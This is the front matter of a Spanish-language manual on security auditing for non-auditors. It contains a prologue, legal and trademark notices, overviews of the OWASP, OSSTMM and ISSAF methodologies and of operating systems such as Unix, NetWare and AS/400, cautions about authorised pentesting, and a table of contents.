Auditoria para No Auditores PDF

PROLOGO
Esta obra, es una compilación de procedimientos y normas que

regulan el complejo mundo de la seguridad Informática. Puede
usarse para encontrar soluciones prácticas, para ampliar la formación
técnica, conocer las mejores prácticas y desde luego es una guía
imprescindible para cualquier técnico o responsable de seguridad
que quiera ampliar su formación técnica y crecer.
Un recorrido ameno por la vía de la regulación y las buenas recetas

que nos ofrece el autor.
En un mundo cada vez más conectado, los riesgos se multiplican

como el número de dispositivos y naturaleza de los mismos.
Hace unos años vimos como los auditores de seguridad y los

responsables informáticos se volvían locos con la emergencia de
dispositivos móviles y la dificultad para minimizar los riesgos.
Debilidad en el hardware o firmware que abría nuevos paradigmas
para los técnicos y responsables de las empresas.
En un mundo donde los dispositivos que conectamos a las redes se

multiplican por infinito. Se abre una era de nuevos retos para todo el
personal TIC.
El Volumen y heterogeneidad de los datos, su dispersión y la

volatilidad de los procesos. Las nuevas estrategias de seguridad
deben implantarse al mismo ritmo que surgen las nuevas
necesidades en los diferentes modelos de negocio. Son retos que
emergen a gran velocidad y son solo las primeras gotas a la espera
del gran diluvio para el que no estamos preparados.
Los ciclos de vida son cada vez más cortos en este sector. Aparecen
nuevas tecnologías con más funcionalidades, pero también como
más retos para el departamento de prevención y defensa.
Los próximos años serán apasionantes, pero desde luego debemos

prepararnos para ser muy flexibles, estar actualizados y formar
equipos de trabajo cada vez más coordinados con estrategias
globales e integrales en el ámbito de la seguridad.
Creo que este libro puede ayudarte a tener una visión global sobre
la seguridad integral como una cada vez más larga cadena de
eslabones que deben ser seguros.
Sobre el Autor.
Si tuviera que destacar alguna de las mejores virtudes de Alejandro,

es que es un gran contador de historias. Con una gran inquietud por
aprender y con una gran facilidad para comunicar.
Tres virtudes que te garantizan un divertido recorrido por este libro.

Espero que lo disfrutes.
José Antonio García Cañizares

Agradecimientos
A mi esposa de la que aprendí la importancia de la Constancia.

A mis hijos por su continuo aliento, sus problemas y sus alegrías e
ilusiones.
A mi suegra, en realidad mi segunda madre.
y, por último, aunque pueda parecer sorprendente: a mi hurón
Turrón y sus travesuras
Derechos de Autor y Marcas Comerciales.
Propiedad intelectual, industrial y frames

Todos los elementos que forman el sitio Web, así como su estructura, diseño, código fuente,
así como los logos, marcas y demás signos distintivos que aparecen en la misma, son
titularidad de INCIBE o de sus colaboradores y están protegidos por los correspondientes
derechos de propiedad intelectual e industrial.
Igualmente están protegidos por los correspondientes derechos de propiedad intelectual e
industrial las imágenes y otros elementos gráficos contenidos en los portales.
INCIBE prohíbe expresamente la realización de “framings” o la utilización por parte de
terceros de cualesquiera otros mecanismos que alteren el diseño, configuración original o
contenidos de nuestros portales.
El uso de los contenidos deberá respetar su licenciamiento particular. De tal modo su uso,
reproducción, distribución, comunicación pública, transformación o cualquier otra actividad
similar o análoga, queda totalmente prohibida salvo que medie previa y expresa autorización
de INCIBE.
INCIBE autoriza la reproducción total o parcial de los textos y contenidos proporcionados
por el portal, siempre que concurran todas y cada una de las siguientes condiciones:
1. Se mantenga la integridad de los contenidos, documentos o gráficos.

2. Se cite expresamente a INCIBE como fuente y origen de aquellos.
3. El propósito y la finalidad de tal uso sea compatible con los fines de la Web y/o la
actividad de INCIBE.
4. No se pretenda un uso comercial, quedando expresamente prohibidas su
distribución, comunicación pública, transformación o descompilación.
Cualquier otro uso habrá de ser comunicado y autorizado por INCIBE, previa y
expresamente.
Respecto a las citas de productos y servicios de terceros, INCIBE reconoce a favor de sus
titulares los correspondientes derechos de propiedad industrial e intelectual, no implicando
su sola mención o aparición en la Web la existencia de derechos ni de responsabilidad
alguna sobre los mismos, como tampoco respaldo, patrocinio o recomendación.
INCIBE declara su respeto a los derechos de propiedad intelectual e industrial de terceros;
por ello, si considera que nuestros portales pudieran estar violando sus derechos, rogamos
se ponga en contacto con INCIBE.
SlideShare©® extraído de la Wikipedia©®
SlideShare es un sitio web 2.0 de alojamiento de diapositivas que ofrece a los

usuarios la posibilidad de subir y compartir en público o en
privado presentaciones de diapositivas en PowerPoint (.ppt,.pps,.pptx,.ppsx,.pot
y.potx), OpenOffice (.odp); presentaciones e infografías PDF (.pdf); documentos
en Adobe PDF (.pdf), Microsoft Word (.doc,.docx y.rtf) y OpenOffice (.odt) y la
mayoría de documentos de texto sin formato (.txt), e incluso algunos formatos
de audio y vídeo.
Originalmente el sitio web estaba destinado para los empleados del ámbito
empresarial con la intención de que compartieran con más
facilidad diapositivas entre ellos, pero luego el público objetivo se amplió para
convertirse también en un entretenimiento.
SlideShare fue lanzado el 4 de octubre de 2006.Este sitio web es considerado
similar a YouTube, pero de uso orientado a las presentaciones de series de
diapositivas. El 4 de mayo de 2012 fue adquirida por LinkedIn.
En agosto de 2015 como muestra del compromiso de LinkedIn de apostar por
una mayor integración con SlideShare se produjo un rebranding pasándose a
llamar LinkedInSlideShare, con la intención de tratar de profesionalizar y
evolucionar la web. Como muestra de esta nueva estrategia de
profesionalización e integración de LinkedIn con SlideShare van a ir
presentando una seria de aplicaciones y mejoras de su sitio web, que
comprenderán desde la nueva herramienta Clipping hasta opciones para una
mejor organización, formas de posicionamiento personal de los usuarios o
búsqueda de expertos en categorías que interesen al propio usuario, así como
otras herramientas personalizadas. Según la compañía tiene 70 millones de
usuarios mensuales activos y un total de aproximado de 400 mil presentaciones
añadidas cada mes. El contenido en el sitio web casi se ha doblado desde la
unión con LinkedIn, pasando de los 10 millones en 2013 a 18 millones
actualmente.
1. Aviso legal y su aceptación
El presente aviso legal (en adelante, "Aviso Legal") regula el uso del servicio de
portal de Internet "www.iso27000.es" (en adelante, el "Portal") que sus legítimos
titulares ponen a disposición de los usuarios de Internet. La utilización del Portal
atribuye la condición de usuario del Portal (en adelante, el "Usuario") e implica la
aceptación plena y sin reservas de todas y cada una de las disposiciones
incluidas en este Aviso Legal en la versión publicada en el Portal en el momento
en que el Usuario acceda al mismo. En consecuencia, el Usuario debe leer
atentamente el Aviso Legal en cada una de las ocasiones en que se proponga
utilizar el Portal, ya que éste puede sufrir modificaciones.
2. Objeto y Modificación de condiciones
El Portal pone a disposición del Usuario la posibilidad de navegar, accediendo a
sus contenidos y servicios siempre que lo haga de acuerdo con lo previsto en el
presente Aviso Legal. En cualquier caso, el Portal se reserva el derecho de, en
cualquier momento y sin necesidad de previo aviso, modificar o eliminar el
contenido, estructura, diseño, servicios y condiciones de acceso y/o uso de este
sitio, siempre que lo estime oportuno.
3. Principios Generales - Responsabilidad del Usuario
El Usuario se obliga a utilizar los servicios y contenidos que le proporciona el
Portal conforme a la legislación vigente y a los principios de buena fe y usos
generalmente aceptados y a no contravenir con su actuación a través del Web
el orden público. Por tanto, queda prohibido todo uso con fines ilícitos o que
perjudiquen o impidan, puedan dañar y/o sobrecargar, de cualquier forma, la
utilización y normal funcionamiento del Portal, o bien, que directa o
indirectamente atenten contra el mismo o contra cualquier tercero. El Usuario no
transmitirá a través del servicio nada que atente contra los valores y la dignidad
de las personas, de acuerdo con las normas nacionales e internacionales de
protección de los derechos humanos. Asimismo, queda prohibida la
reproducción, distribución, transmisión, adaptación o modificación, por cualquier
medio y en cualquier forma, de los contenidos del Portal (textos, diseños,
gráficos, informaciones, bases de datos, archivos de sonido y/o imagen, logos,)
y demás elementos de este sitio, salvo autorización previa de sus legítimos
titulares o cuando así resulte permitido por la ley. Se prohíbe asimismo respecto
de los contenidos antes detallados, cualquier utilización comercial o publicitaria,
distinta de la estrictamente permitida, en su caso, y la vulneración, en general,
de cualquier derecho derivado de los mismos.
4. Condiciones que deberán cumplir los usuarios que quieran establecer
un hiperenlace entre su página web y este Portal
No se admite la reproducción de páginas del Portal mediante hiperenlace desde
otro portal o página web, permitiéndose exclusivamente el acceso a dicho Portal.
En ningún caso se podrá dar a entender que el Portal autoriza el hiperenlace o
que ha supervisado o asumido de cualquier forma los servicios o contenidos
ofrecidos por la web desde la que se produce el hiperenlace. No se podrán
realizar manifestaciones o referencias falsas, incorrectas o inexactas sobre las
páginas y servicios del Portal. La página desde donde se establece el
hiperenlace no podrá tener ningún distintivo que haga referencia al Portal,
exceptuando los signos integrados en el propio hiperenlace. Se prohíbe
explícitamente la creación de cualquier tipo de “browser” o “border environment”
sobre las páginas del Portal. No se podrán incluir contenidos contrarios a los
derechos de terceros, ni contrarios a la moral y las buenas costumbres
aceptadas, ni contenidos o informaciones ilícitas, en la página web desde la que
se establezca el hiperenlace. La existencia de un hiperenlace entre una página
web y este Portal no implica la existencia de relaciones entre el Portal y el
propietario de esa página, ni la aceptación y aprobación de sus contenidos y
servicios.
5. Uso de “cookies”
Cuando el Usuario navega a través del Portal, puede recibir en su ordenador
“cookies” enviadas desde el servidor del Portal o desde el servidor de una tercera
empresa contratada para la prestación del servicio de medición de audiencias.
Si el Usuario desea conocer el servidor desde el que se han enviado estas
“cookies”, debe consultar las instrucciones de uso de su navegador. Si el Usuario
admite la recepción de “cookies”, debe saber que éstas no proporcionan ningún
dato de carácter personal suyo y que la única finalidad es permitir que el servidor
pueda reconocer el navegador utilizado por el Usuario con objeto de facilitar la
navegación, además de conocer el número de usuarios únicos que acceden al
Portal. El Usuario puede configurar su navegador para que éste le avise a través
de la pantalla del ordenador de la recepción de “cookies”. Asimismo, puede
impedir la instalación de “cookies” en su ordenador. Para ello, debe consultar las
instrucciones de uso de su navegador.
6. Exclusión de garantías y responsabilidades
El Portal no se hace responsable directa ni indirecta o subsidiariamente de
ningún daño o perjuicio sufrido por el Usuario derivado del acceso a dicho Portal
o del uso de informaciones o aplicaciones en él contenidas. Se excluye la
responsabilidad por los daños y perjuicios de toda naturaleza que puedan
deberse a las informaciones contenidas en páginas web a las que este Portal
pueda remitir a través de hiperenlaces. La finalidad de los hiperenlaces que
aparecen en el Portal es puramente informativa, no siendo este responsable en
ningún caso del resultado que el Usuario pretenda obtener mediante el acceso
a los mismos. Por consiguiente, el Portal no responderá por:
a) La disponibilidad, accesibilidad y funcionamiento o continuidad de los sitios
enlazados.
b) La calidad, licitud, fiabilidad, utilidad, veracidad, vigencia, exhaustividad y/o
autenticidad del contenido existente en los sitios enlazados.
c) Del mantenimiento, prestación o transmisión de los contenidos existentes en
los sitios enlazados.
d) El Portal no tiene conocimiento efectivo de que la actividad o la información a
la que remiten o recomiendan es ilícita o de que lesiona bienes o derechos de
un tercero susceptibles de indemnización. En caso de tener conocimiento se
actuará con la diligencia debida para suprimir o inutilizar el enlace
correspondiente, tal y como establece la LSSICE. El Portal no será responsable
de los daños y perjuicios de toda naturaleza que puedan deberse a la existencia
de virus en el sistema informático, documentos electrónicos o ficheros del
Usuario o por la presencia de virus en los servicios prestados por terceros a
través del Portal.
7. Disputas ante los Tribunales
Esta licencia de uso se rige por las leyes españolas independientemente del
entorno legal del usuario. Cualquier disputa que pueda surgir en la interpretación
de este acuerdo se resolverá en los tribunales españoles.
Advisera©® es una empresa de Consultoría y Servicios relacionados con la
normativa internacional regulada por la ISO y sus organizaciones afines, que
entre otras cosas proporciona Formación mediante Webinars (Seminarios On-
line) y Herramientas On-Line y Plantillas de Documentos compatibles con las
herramientas de Microsoft en particular WORD©® y Excel, ©® además de
herramientas On-Line que tratan de forma especificas determinados
requerimientos de normas concretas. Todo el material que se refleja en este libro
forma parte de los conjuntos denominados Kits de Descarga Gratuita o de
Evaluación. Las imágenes tomadas de la Web mediante captura de pantalla
reproducen en su momento los contenidos que de forma orientativa se ofrecen
al lector de esta obra, para una mejor compresión.
En caso de estar interesado en los materiales deberán contactar con Advisera
mediante su Web para obtener dichos materiales y para acceder a los Servicios
Profesionales de Formación y Consultoría que la misma ofrece, el autor de este
libro no tiene ningún vínculo comercial o profesional con Advisera. El exponer
aquí su material y sus servicios se hace con la única finalidad de brindar
orientación sobre empresas que le puede ayudar a la creación o mejora de su
departamento de Auditoria Interna.
Open Web Application Security Project
OWASP (acrónimo de: Open Web Application Security Project)

En inglés ‘Proyecto abierto de seguridad de aplicaciones web’) es un proyecto
de código abierto dedicado a determinar y combatir las causas que hacen que
el software sea inseguro.
La Fundación OWASP es un organismo sin ánimo de lucro que apoya y gestiona
los proyectos e infraestructura de OWASP. La comunidad OWASP está formada
por empresas, organizaciones educativas y particulares de todo mundo. Juntos
constituyen una comunidad de seguridad informática que trabaja para crear
artículos, metodologías, documentación, herramientas y tecnologías que se
liberan y pueden ser usadas gratuitamente por cualquiera.
OWASP es un nuevo tipo de entidad en el mercado de seguridad informática.
Estar libre de presiones corporativas facilita que OWASP proporcione
información imparcial, práctica y redituable sobre seguridad de aplicaciones
informáticas. OWASP no está afiliado a ninguna compañía tecnológica, si bien
apoya el uso informado de tecnologías de seguridad. OWASP recomienda
enfocar la seguridad de aplicaciones informáticas considerando todas sus
dimensiones: personas, procesos y tecnologías.
Los documentos con más éxito de OWASP incluyen la Guía OWASP y el
ampliamente adoptado documento de autoevaluación OWASP Top 10.
Las herramientas OWASP más usadas incluyen el entorno de
formación WebGoat, la herramienta de pruebas de penetración WebScarab y las
utilidades de seguridad para entornos .NET OWASP DotNet. OWASP cuenta
con unos 50 capítulos locales por todo el mundo y miles de participantes en
las listas de correo del proyecto.
OWASP ha organizado la serie de conferencias AppSec para mejorar la
construcción de la comunidad de seguridad de aplicaciones web.
Open Source Security Testing Methodology es
nombre registrado por ISECOM.
En enero de 2001, ISECOM (el Instituto de

Seguridad y Metodologías Abiertas) comenzó con el lanzamiento del
OSSTMM, el Manual de Metodología de Pruebas de Seguridad de
Código Abierto. Fue una medida para mejorar la forma en que se
probaba e implementaba la seguridad.
Muchos investigadores de diversos campos contribuyeron porque
vieron la necesidad de un método abierto, uno que estuviera ligado a
la verdad y no a ganancias comerciales o agendas políticas.
Esto también es válido para todas las áreas de investigación cubiertas
por los proyectos de ISECOM. Y no es suficiente encontrar los hechos,
tenemos que encontrar formas de aplicarlo al mundo en el que vivimos.
Por lo tanto, debe ser una filosofía de seguridad y debe tener sentido. Y
eso es lo que ISECOM hace todos los días para millones de personas
en todo el mundo. Desde los gobiernos hasta las empresas, las
escuelas y solo las personas normales, ayudamos a dar sentido a la
seguridad.
ISECOM es una comunidad abierta y una organización sin fines de
lucro registrada oficialmente en Cataluña, España. ISECOM tiene
oficinas en Barcelona, España y en Nueva York, EE. UU. El
financiamiento para ISECOM se proporciona a través de asociaciones,
suscripciones, certificaciones, licencias, seminarios y dotaciones
privadas de investigación.
La versión traducida corresponde a la versión 3 -0 y fue publicada en el
año 2010 existe una versión 4.0 que aún está en discusión y por tanto
no es oficial.
INFORMATION SYSTEMS SECURITY ASSESSMENT
FRAMEWORK (ISSAF)
El Marco de Evaluación de Seguridad de Sistemas de Información (ISSAF) busca

integrar las siguientes herramientas de gestión y listas de control interno:
Evaluar las políticas y procesos de seguridad de la información de la

organización para informar sobre su cumplimiento con los estándares de la
industria de TI, y las leyes aplicables y los requisitos reglamentarios
 Identificar y evaluar las dependencias comerciales en servicios de
infraestructura proporcionados por TI
 Llevar a cabo evaluaciones de vulnerabilidad y pruebas de penetración
para resaltar las vulnerabilidades del sistema que podrían generar riesgos
potenciales para los activos de información
 Especifique modelos de evaluación por dominios de seguridad para:
o Encuentra configuraciones erróneas y rectifícalas
o Identificar los riesgos relacionados con las tecnologías y abordarlos
o Identificar los riesgos dentro de las personas o los procesos
comerciales y abordarlos
o Fortalecimiento de procesos y tecnologías existentes
o Proporcionar mejores prácticas y procedimientos para respaldar
las iniciativas de continuidad del negocio
Beneficios comerciales de ISSAF
 ISSAF pretende informar exhaustivamente sobre la implementación de los

controles existentes para soportar IEC / ISO 27001: 2005 (BS7799),
Sarbanes Oxley SOX404, CoBIT, SAS70 y COSO, agregando valor a los
aspectos operativos de los programas de transformación empresarial
relacionados con TI.
 Su principal valor se derivará del hecho de que proporciona un recurso
probado para los profesionales de la seguridad, liberándolos así de una
inversión acorde en los recursos comerciales o una amplia investigación
interna para abordar sus necesidades de seguridad de la información.
 Está diseñado desde cero para convertirse en un conjunto integral de
conocimiento para organizaciones que buscan independencia y
neutralidad en sus esfuerzos de evaluación de seguridad.
 Es el primer marco para proporcionar validación para las estrategias de
seguridad de abajo hacia arriba, como las pruebas de penetración, así
como los enfoques de arriba hacia abajo, como la estandarización de una
lista de verificación de auditoría para las políticas de información.
Historia y descripción de ISSAF
ISSAF está desarrollando constantemente un marco que puede modelar los

requisitos de control interno para la seguridad de la información. Al definir las
pruebas junto con los dominios que se probarán, busca unificar las políticas de
gestión con las operaciones técnicas para garantizar que haya una alineación
completa entre todos los niveles intermedios.
ISSAF cubre las principales plataformas de tecnología de la información, la

mayoría de los procesos operativos relacionados con TI de alto nivel, y está
destinado a ser aplicable a los principales verticales de la industria, como la
banca, la fabricación y los servicios.
Esta ubicuidad de ISSAF tiene como objetivo facilitar su adopción como el marco
de evaluación de seguridad preferido por los departamentos de TI de todo el
mundo. En el proceso de esta adopción, OISSG busca posicionarlo como la base
para acreditar los sistemas de seguridad de la información de una organización
a nivel de especificaciones técnicas que han sido probadas y probadas por los
principales profesionales de seguridad de todo el mundo.
ISSAF versión 0.2 se lanzará a la industria sobre la base de pruebas exhaustivas

por parte de un número de especialistas en seguridad de la información que
trabajan en todo el mundo, en diferentes plataformas para evaluaciones de
seguridad en organizaciones en diferentes mercados verticales. Está siendo
lanzado para su uso por organizaciones y profesionales de aseguramiento,
sujeto a los términos apropiados de licencia abierta.
Marcas de Productos Hardware y Software registradas que

aparecen en esta obra.
Unix (registrado oficialmente como UNIX®) Es un sistema

operativo portable, multitarea y multiusuario; desarrollado, en principio, en 1969,
por un grupo de empleados de los laboratorios Bell de AT&T, entre los que
figuran Dennis Ritchie, Ken Thompson y Douglas McIlroy.
El sistema, junto con todos los derechos fueron vendidos por AT&T a Novell,
Inc. Esta vendió posteriormente el software a Santa Cruz Operation en 1995, y
esta, a su vez, lo revendió a Caldera Software en 2001, empresa que después
se convirtió en el grupo SCO. Sin embargo, Novell siempre argumentó que solo
vendió los derechos de uso del software, pero que retuvo el copyright sobre
"UNIX®". En 2010, y tras una larga batalla legal, ésta ha pasado nuevamente a
ser propiedad de Novell.3
Solo los sistemas totalmente compatibles y que se encuentran certificados por la
especificación Single UNIX Specification pueden ser denominados "UNIX®"
(otros reciben la denominación «similar a un sistema Unix» o «similar a Unix»).
En ocasiones, suele usarse el término "Unix tradicional" para referirse a Unix o
a un sistema operativo que cuenta con las características de UNIX Versión
7 o UNIX System V o unix versión 6.
 AT&T: La familia que tuvo su origen en el UNIX de AT&T. Considerada la

familia UNIX "pura" y original. Sus sistemas operativos más significativos
son UNIX System III y UNIX System V.
 BSD: Familia originada por el licenciamiento de UNIX a Berkely. BSD se
reescribió para no incorporar propiedad intelectual originaria de AT&T en
la versión 4. La primera implementación de los protocolos TCP/IP que
dieron origen a Internet son la pila (stack) TCP/IP BSD.
 AIX: Esta familia surge por el licenciamiento de UNIX System III a IBM.
 Xenix: Familia derivada de la adquisición de los derechos originales de
AT&T primero por parte de Microsoft y de esta los vendió a SCO.
 GNU: En 1983, Richard Stallman anunció el Proyecto GNU, un ambicioso
esfuerzo para crear un sistema similar a Unix, que pudiese ser distribuido
libremente. El software desarrollado por este proyecto -por ejemplo,
GNU Emacs y GCC - también han sido parte fundamental de otros
sistemas UNIX.
 Linux: En 1991, cuando Linus Torvalds empezó a proponer
el núcleo Linux y a reunir colaboradores, las herramientas GNU eran la
elección perfecta. Al combinarse ambos elementos, conformaron la base
del sistema operativo (basado en POSIX), que hoy se conoce
como GNU/Linux. Las distribuciones basadas en el núcleo, el software
GNU y otros agregados entre las que se pueden mencionar a Slackware
Linux, Red Hat Linux y Debian GNU/Linuxse han hecho populares tanto
entre los aficionados a la computación como en el mundo empresarial.
Obsérvese que Linux tiene un origen independiente, por lo que se
considera un 'clónico' de UNIX y no un UNIX en el sentido histórico.
Las interrelaciones entre estas familias son las siguientes, aproximadamente
en orden cronológico:
 La familia BSD surge del licenciamiento del UNIX original de AT&T.

 Xenix también surge por licenciamiento del UNIX original de AT&T,
aunque aún no era propiedad de SCO.
 AIX surge por licenciamiento de UNIX System III, pero también incorpora
propiedad intelectual de BSD.
 La familia original AT&T incorpora ilegalmente propiedad intelectual de
BSD en UNIX System III r3.
 La familia AIX vuelve a incorporar propiedad intelectual de la familia
AT&T, esta vez procedente de UNIX System V.
 Linux incorpora propiedad intelectual de BSD, gracias a que éste
también se libera con una licencia de código abierto denominada Open-
source BSD.
 Según SCO Group, Linux incorpora propiedad intelectual procedente de
AIX gracias a la colaboración de IBM en la versión 2.4. Aún no está
demostrado y hay un proceso judicial: Disputas de SCO sobre Linux.
A lo largo de la historia ha surgido una gran multitud de implementaciones
comerciales de UNIX. Sin embargo, un conjunto reducido de productos ha
consolidado el mercado y prevalece gracias a un continuo esfuerzo de desarrollo
por parte de sus fabricantes. Los más importantes son:
Solaris de Sun Microsystems. Uno de los sistemas operativos Unix más

difundidos en el entorno empresarial y conocido por su gran estabilidad. Parte
del código fuente de Solaris se ha liberado con licencia de fuentes abiertas
(Open Solaris).
AIX de IBM. El UNIX "propietario" de IBM cumplió 20 años de vida en el 2006 y

continúa en pleno desarrollo, con una perceptible herencia del mainframe en
campos como la virtualización o la RAS de los servicios, heredada de sus
"hermanos mayores".
HP-UX de Hewlett-Packard. Este sistema operativo también nació ligado a las

computadoras departamentales de este fabricante. También es un sistema
operativo estable que continua en desarrollo.
macOS. Se trata de un UNIX completo, aprobado por The Open Group. Su

diferencia marcada es que posee una interfaz gráfica propietaria llamada Aqua,
y es principalmente desarrollada en Objective-C en lugar de C o C++.
Existen sistemas operativos basados en el núcleo Linux, y el conjunto de

aplicaciones GNU (también denominado GNU/Linux), entre las más utilizadas
encontramos:
Red Hat Enterprise Linux. Cuyo fabricante Red Hat es conocido por su amplia
gama de soluciones y aportes al desarrollo de software libre. Apoya el proyecto
Fedora del cual se beneficia y de ella se derivan distribuciones compatibles como
Oracle Enterprise Linux y CentOS, también distribuciones como Mandriva Linux,
se basó en una de sus primeras versiones.
SUSE Linux de Novell. Originalmente liberado por la compañía alemana SuSE.

Es popular por sus herramientas de administración centralizada. De manera
análoga a RedHat con Fedora, apoya el proyecto openSUSE.
Debian GNU/Linux. Con una de las comunidades más grandes y antiguas del
movimiento de software libre, es base para distribuciones como Xandros, Mepis,
Linspire y Ubuntu.
También son populares los sistemas operativos descendientes del 4.4BSD:
FreeBSD. Quizá el sistema operativo más popular de la familia, de propósito

múltiple. Con una implementación SMP muy elaborada, es el sistema operativo
utilizado por los servidores de Yahoo. Y base de muchos sistemas operativos
entre ellos Mac OS X de Apple.
OpenBSD. Ampliamente reconocida por su seguridad proactiva y auditoría

permanente del código fuente. Es utilizada en ambientes donde la seguridad
prima, sobre todo, es usual encontrarlo instalado en servidores que actúan como
Firewall, VPN o Proxy.
NetBSD. Se le conoce por su portabilidad, a octubre de 2008: 53 arquitecturas

soportadas. La NASA lo ha utilizado para la investigación en redes TCP/IP
satelitales, al igual que para reciclar computadoras viejas con software moderno.
Las siguientes implementaciones de UNIX tienen importancia desde el punto de

vista histórico, no obstante, actualmente están en desuso:
Tru64 UNIX actualmente de Hewlett-Packard (antes de Compaq y originalmente

de Digital Equipment Corporation).
UnixWare y SCO OpenServer anteriormente de Santa Cruz Operation y SCO

Group, ahora de Xinuos (UnXis).
UX/4800 de NEC.
IRIX de Silicon Graphics Inc...
Novell Inc. Netware. ©® extraído de la

Wikipedia©®
NetWare es un sistema operativo de red
informática desarrollado por Novell, Inc.
Inicialmente utilizó la multitarea cooperativa para
ejecutar diversos servicios en una computadora
personal, utilizando el protocolo de red IPX.
El producto original de NetWare en 1983 admitió clientes que ejecutaban CP / M
y MS-DOS, ejecutó una topología de red de estrella patentada y se basó en un
servidor de archivos creado por Novell utilizando el procesador Motorola 68000,
pero la empresa pronto abandonó la construcción. su propio hardware, y
NetWare se convirtió en independiente del hardware, ejecutándose en cualquier
sistema IBM compatible con PC basado en Intel, y en una amplia gama de
tarjetas de red. Desde el principio, NetWare implementó una serie de
características inspiradas en sistemas de mainframe y miniordenadores que no
estaban disponibles en sus competidores.
A principios de la década de 1990, Novell introdujo productos de red por
separado más baratos, sin relación con el clásico NetWare. Estos fueron
NetWare Lite 1.0 (NWL), y más tarde Personal NetWare 1.0 (PNW) en 1993.
En 1993, la línea principal de productos dio un giro dramático cuando la Versión
4 introdujo NetWare Directory Services (NDS), un servicio de directorio global
similar al Active Directory que Microsoft lanzaría siete años más tarde. Esto, junto
con un nuevo sistema de correo electrónico, GroupWise, paquete de
configuración de aplicaciones, ZENworks y el producto de seguridad
BorderManager, se enfocaron en las necesidades de las grandes empresas.
En 2000, sin embargo, Microsoft estaba tomando más de la base de clientes de
Novell y Novell cada vez más buscaba un futuro basado en un kernel de Linux.
El sucesor de NetWare, Open Enterprise Server (OES), lanzado en marzo de
2005, ofrecía todos los servicios previamente alojados por NetWare v6.5, pero
en un SUSE Linux Enterprise Server; el núcleo NetWare se mantuvo como
opción hasta OES 11 a finales de 2011.
El último lanzamiento de actualización fue la versión 6.5SP8 de mayo de 2009;
Netware ya no figura en la lista de productos de Novell.
extraído de la Wikipedia©®.
El sistema AS/400 es un equipo de IBM de gama media y alta,
para todo tipo de empresas y grandes departamentos.
Se trata de un sistema multiusuario, con una interfaz controlada
mediante menús y comandos CL (Control Language) intuitivos que utiliza
terminales y un sistema operativo basado en objetos y bibliotecas,
denominado OS/400.
Un punto fuerte del OS/400 es su integración con la base de datos DB2/400,
siendo los objetos del sistema miembros de la citada base de datos. Ésta
también da soporte para los datos de las aplicaciones, dando como resultado un
sistema integrado potente y estable.
Actualmente, con la denominación IBM i, anteriormente conocida como System
i e iSeries, soporta otros sistemas operativos tales como GNU/Linux, AIX o
incluso Windows en una placa Intel integrada, soportando también de forma
nativa múltiples aplicaciones antes reservadas a Windows.
La máquina se basó originalmente en una CPU CISC de IBM, pero en 1996 se
migró a una familia de CPU RISC basada en microprocesadores PowerPC de 64
bits. Hasta marzo de 2010, los últimos modelos, que bajo la denominación IBM
Power Systems unificaron las plataformas System i y System p de IBM, se
basan en el procesador POWER7.
La capacidad de supervivencia de la máquina es debida a su capa de MI o
Machine Interface, que aísla el hardware y permite, mediante el uso de APIs, que
el sistema operativo y los programas de aplicaciones se aprovechen de los
avances en hardware sin tener que recompilarlo y de su adaptación al entorno
empresarial crítico, en donde la estabilidad y fiabilidad del sistema son
fundamentales. Soporta lenguajes de programación de 3ª y 4ª generación.
Se diseñó como sustituto del IBM System/38 y partiendo de su arquitectura,
cuyos orígenes se remontan a los años 1978 y 1979.
Windows Server©® y Windows Desktops W7/W8/W10 son

marcas registradas por Microsoft Corpartion.
ACLARACIONES IMPORTANTES:
Dado que una Auditoria profesional en general y en particular una de Seguridad

comporta riesgos, que en muchos casos no son menores, es importante tener
presente lo siguiente para comprender mejor la finalidad y el alcance de este
libro.
Primera. – OWASP / OSSMMT3 / ISSAF son metodologías conocidas como
Pentesting y por tanto son metodologías agresivas, cuyo objetivo final es conocer
y valorar que: daños y perjuicios lógicos y económicos, así como jurídicos se
pueden originar como consecuencia del estado actual de todos y cada uno de
los elementos, que forman parte del sistema de seguridad de la empresa.
Segunda. – Estas metodologías se proponen dado que: la normativa vinculada
con todas y cada una de las facetas de la Seguridad es muy extensa y
heterogénea, sé establecen que objetivos deben ser alcanzados, pero no
precisan que metodologías o marcos de trabajos, son los adecuados para valorar
la consistencia de dicha Seguridad.
Que debe ser probada de forma empírica, por personal debidamente cualificado
y acreditado para ello, se debe haber definido un conjunto medidas previas, que
garanticen que los daños ocasionados con motivos de las pruebas son daños
controlados con alcance limitado, de que han de ser de carácter reversible tanto
a nivel interno como externo, si hay terceros implicados. Por ello es
imprescindible la implicación activa del área jurídica, para definir todos los
documentos precisos y necesarios que adviertan a los participantes de los
peligros que ello implica y que han ser de aceptados.
Tercera. - Que la normativa se debe seguir de manera estricta, por parte del
Auditor, para lograr la certificación, buscada y que es responsabilidad del cliente
verificar que tanto los productos como los servicios, así como los
productos/servicios que se ofrecen conjuntamente y de forma indivisible pasan
los controles necesarios para lograr la certificación. Ello implica que la empresa
Auditora / Certificadora, deberá proporcionar al Cliente información: clara,
suficiente e inequívoca de cómo se verificará el cumplimiento de los controles
seleccionados, que verifican dichos controles, como se aprueban o desaprueban
dichos los controles.
Cuarta. – No conformidades (Mayores y Menores) Tratamiento. Dado que
pueden parecer el proyecto se detendrá en el caso de aparición de no
conformidades Mayores y no se reanudará en tanto en cuanto el origen de la
misma no sea subsanado / erradicado.
En cuanto a las No conformidades menores se deberá disponer de una serie de
proyectos que comprenden una serie de acciones correctoras, que deberán estar
tabuladas en cuanto a: tiempo, costes y responsabilidades funcionales, jurídicas
y económicas. Todo ello debidamente documentado y aceptado por cada una de
las partes implicadas.
Estas cuatro premisas básicas deben ser tenidas presentes a lo largo de toda la
obra, pues su desarrollo ayuda, en una gran medida a que cualquier tipo de
Auditoria alcance su objetivo a tiempo, en coste y con una mejor compresión de
los beneficios de la certificación como elemento diferenciador frente a la
competencia.
Manual de Auditoria para no Auditores
Contenido
Capítulo 1 ............................................................................................................... 4
¿Por qué y Para qué debo certificar mi empresa? ............................................ 4
Capítulo 2 ............................................................................................................... 8
Por dónde empezar y como ............................................................................... 8
Capítulo 3 ............................................................................................................. 19
Identificando activos y su clasificación. ISO 55001 ........................................ 19
Capítulo 4 ............................................................................................................. 32
La Gestión del Riesgo y la Continuidad del Negocio. ISO 22301 ................. 32
Características del análisis de impacto ............................................................................... 41
Consideraciones durante el desarrollo del BIA ................................................................... 42
Ventajas de la realización de un análisis de impacto .......................................................... 42
Capitulo 5 Auditorias: ...........................................................................................52
No es tan fiero el Lobo como lo pintan. ...........................................................52
Vulnerabilidades y Ataques Informáticos...................................................................... 56
Auditoria de Redes Lógicas ................................................................................................. 59
Auditoria Red Física ............................................................................................................. 61
